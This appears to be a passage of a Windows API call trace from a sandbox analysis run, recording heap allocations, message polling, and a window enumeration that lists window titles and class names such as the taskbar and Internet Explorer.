[0137.151] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec590 [0137.151] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.151] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec590 | out: hHeap=0xe80000) returned 1 [0137.152] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec990 [0137.152] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec990 | out: hHeap=0xe80000) returned 1 [0137.152] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.152] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0137.152] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0137.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0137.153] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0137.153] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.153] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.153] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.153] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.154] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.154] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec910 [0137.154] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.154] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.155] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.155] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xe90) returned 0xefcbb8 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeff4d0 | out: hHeap=0xe80000) returned 1 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0137.156] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.156] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.156] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.156] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0137.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0137.157] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0137.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.157] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.157] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0137.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeb9b48 | out: hHeap=0xe80000) returned 1 [0137.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec910 | out: hHeap=0xe80000) returned 1 [0137.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.158] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.158] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0137.158] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0137.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.159] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0137.159] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec750 [0137.159] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec750 | out: hHeap=0xe80000) returned 1 [0137.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3d8 [0137.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3a8 [0137.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3a8 | out: hHeap=0xe80000) returned 1 [0137.160] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3d8 | out: hHeap=0xe80000) returned 1 [0137.160] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec450 [0137.160] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0137.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf2d8 [0137.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf2d8 | out: hHeap=0xe80000) returned 1 [0137.161] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.161] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0137.161] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0137.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf428 [0137.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0137.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0137.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf428 | out: hHeap=0xe80000) returned 1 [0137.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.162] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec4d0 [0137.162] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.162] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec4d0 | out: hHeap=0xe80000) returned 1 [0137.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf378 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf398 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0137.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0137.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf398 | out: hHeap=0xe80000) returned 1 [0137.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf378 | out: hHeap=0xe80000) returned 1 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0137.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf3e8 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf3e8 | out: hHeap=0xe80000) returned 1 [0137.163] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0137.163] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xeb9b48 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0137.163] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf308 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0137.432] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf308 | out: hHeap=0xe80000) returned 1 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf2d8 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf378 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ce8 [0137.432] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf398 [0137.432] EnumWindows (lpEnumFunc=0x30aed4, lParam=0x375500) returned 1 [0137.435] GetWindowTextW (in: hWnd=0x10132, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.435] GetClassNameW (in: hWnd=0x10132, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0137.436] GetWindowTextW (in: hWnd=0x10104, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.436] GetClassNameW (in: hWnd=0x10104, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ForegroundStaging") returned 17 [0137.436] GetWindowTextW (in: hWnd=0x100d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.436] GetClassNameW (in: hWnd=0x100d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.436] GetWindowTextW (in: hWnd=0x100ae, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.436] GetClassNameW (in: hWnd=0x100ae, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.436] GetWindowTextW (in: hWnd=0x100b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.436] GetClassNameW (in: hWnd=0x100b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.437] GetWindowTextW (in: hWnd=0x100be, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.437] GetClassNameW (in: hWnd=0x100be, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.437] GetWindowTextW (in: hWnd=0x100c8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.437] GetClassNameW (in: hWnd=0x100c8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.437] GetWindowTextW (in: hWnd=0x100cc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.437] GetClassNameW (in: hWnd=0x100cc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.437] GetWindowTextW (in: hWnd=0x10090, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.437] GetClassNameW (in: hWnd=0x10090, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.437] GetWindowTextW (in: hWnd=0x1009e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.438] GetClassNameW (in: hWnd=0x1009e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.438] GetWindowTextW (in: hWnd=0x100c6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.438] GetClassNameW (in: hWnd=0x100c6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.438] GetWindowTextW (in: hWnd=0x10084, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.438] GetClassNameW (in: hWnd=0x10084, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Shell_TrayWnd") returned 13 [0137.438] GetWindowTextW (in: hWnd=0x101de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Network Flyout") returned 14 [0137.438] GetClassNameW (in: hWnd=0x101de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFDA284120") returned 20 [0137.438] GetWindowTextW (in: hWnd=0x100de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.439] GetClassNameW (in: hWnd=0x100de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.439] GetWindowTextW (in: hWnd=0x100d6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.439] GetClassNameW (in: hWnd=0x100d6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0137.439] GetWindowTextW (in: hWnd=0x20304, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.439] GetClassNameW (in: hWnd=0x20304, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0137.439] GetWindowTextW (in: hWnd=0x20208, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.439] GetClassNameW (in: hWnd=0x20208, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.439] GetWindowTextW (in: hWnd=0x3007a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.439] GetClassNameW (in: hWnd=0x3007a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.440] GetWindowTextW (in: hWnd=0x3002c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.440] GetClassNameW (in: hWnd=0x3002c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.440] GetWindowTextW (in: hWnd=0x2013a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0137.440] GetClassNameW (in: hWnd=0x2013a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IEFrame") returned 7 [0137.440] GetWindowTextW (in: hWnd=0x70102, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.440] GetClassNameW (in: hWnd=0x70102, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0137.440] GetWindowTextW (in: hWnd=0x202a0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.440] GetClassNameW (in: hWnd=0x202a0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-08175010-8cd0474") returned 28 [0137.440] GetWindowTextW (in: hWnd=0x30234, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0137.441] GetClassNameW (in: hWnd=0x30234, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0137.441] GetWindowTextW (in: hWnd=0x20284, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.441] GetClassNameW (in: hWnd=0x20284, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0137.441] GetWindowTextW (in: hWnd=0x2026e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.441] GetClassNameW (in: hWnd=0x2026e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Alternate Owner") returned 15 [0137.441] GetWindowTextW (in: hWnd=0x20372, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.441] GetClassNameW (in: hWnd=0x20372, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.441] GetWindowTextW (in: hWnd=0x20250, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.441] GetClassNameW (in: hWnd=0x20250, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="VSyncHelper-0519A538-87b8549") returned 28 [0137.442] GetWindowTextW (in: hWnd=0x4012a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Blank Page - Internet Explorer") returned 30 [0137.442] GetClassNameW (in: hWnd=0x4012a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabThumbnailWindow") returned 18 [0137.442] GetWindowTextW (in: hWnd=0x202dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.442] GetClassNameW (in: hWnd=0x202dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0137.442] GetWindowTextW (in: hWnd=0x202fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.442] GetClassNameW (in: hWnd=0x202fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0137.442] GetWindowTextW (in: hWnd=0x202b2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.442] GetClassNameW (in: hWnd=0x202b2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.443] GetWindowTextW (in: hWnd=0x30036, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0137.443] GetClassNameW (in: hWnd=0x30036, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0137.443] GetWindowTextW (in: hWnd=0x10360, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.443] GetClassNameW (in: hWnd=0x10360, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.443] GetWindowTextW (in: hWnd=0x10350, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Spgagentservice") returned 15 [0137.443] 